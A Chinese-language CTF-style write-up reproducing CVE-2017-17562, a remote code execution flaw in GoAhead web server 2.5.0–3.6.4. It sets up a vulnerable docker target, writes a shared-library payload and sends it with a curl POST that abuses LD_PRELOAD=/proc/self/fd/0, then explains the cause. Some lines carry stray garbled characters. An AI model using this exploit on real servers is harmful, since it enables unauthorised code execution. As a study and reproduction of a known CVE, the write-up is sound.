CVE-2017-17562是一個關于GoAhead Web Server遠程命令執(zhí)行的一個漏洞笛辟,該漏洞于2017年12月被爆出,影響GoAhead 2.5.0-3.6.4版本戈轿。目前已經(jīng)過了快一年時間,但是一個CTF考到了這個CVE,正好記錄一下。
復現(xiàn)
靶機環(huán)境
首先得做一個靶機粘姜,這里就用docker開個ubuntu作靶機吧:
docker run --name=goaheadv364 -it -p 0.0.0.0:80:80 ubuntu bash
# 安裝git和gcc
apt update && apt install -y git gcc make
# 安裝goaheadv3.6.4
git clone https://github.com/embedthis/goahead.git
cd goahead
git checkout tags/v3.6.4 -q
make
接著跑一個GoAhead服務,這里用自帶的測試服務好了:
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
../build/linux-x64-default/bin/goahead
payload
準備payload.c文件:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void) {
printf("hello, payload executed.\n");
}
編譯payload:
gcc -shared -fPIC ./payload.c -o payload.so
發(fā)送payload到靶機:
curl -X POST --data-binary @payload.so http://192.168.99.100/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i
可以看到payload被執(zhí)行:
原理解釋
實際上騰訊的“開源Web服務器GoAhead漏洞CVE-2017-17562分析“ 一文已經(jīng)對此漏洞進行了詳細解釋魄幕,這里只概括的說一下相艇。
首先颖杏,GoAhead代碼存在以下兩點問題:
因為cgiHandler的過濾不當纯陨,導致LD_PRELOAD變量可控,而程序會讀取LD_PRELOAD變量記錄的文件路徑并且執(zhí)行代碼留储;
launchCgi函數(shù)調(diào)用系統(tǒng)函數(shù)dup2()將stdin文件描述符指向了POST請求數(shù)據(jù)對應的臨時文件翼抠。
從發(fā)送payload的命令可以看到,我們的POST中控制了兩個輸入获讳,一個是LOAD_PRELOAD參數(shù)(將它設置為了/proc/self/fd/0)阴颖,一個是POST的data(將它設置為了我們編譯生成的動態(tài)鏈接庫)。/proc/self/fd/0 是Linux的偽文件系統(tǒng)文件丐膝,實際上指的是stdin量愧,以下命令的執(zhí)行結(jié)果可以說明這一點:
這樣結(jié)合第一條,即程序會從我們標準輸入中取代碼執(zhí)行帅矗,又因為第二條偎肃,我們的標準輸入被定向到了POST的臨時文件中,具體來說浑此,即定向到了我們的payload.so文件上累颂,這樣整個原理就走通了。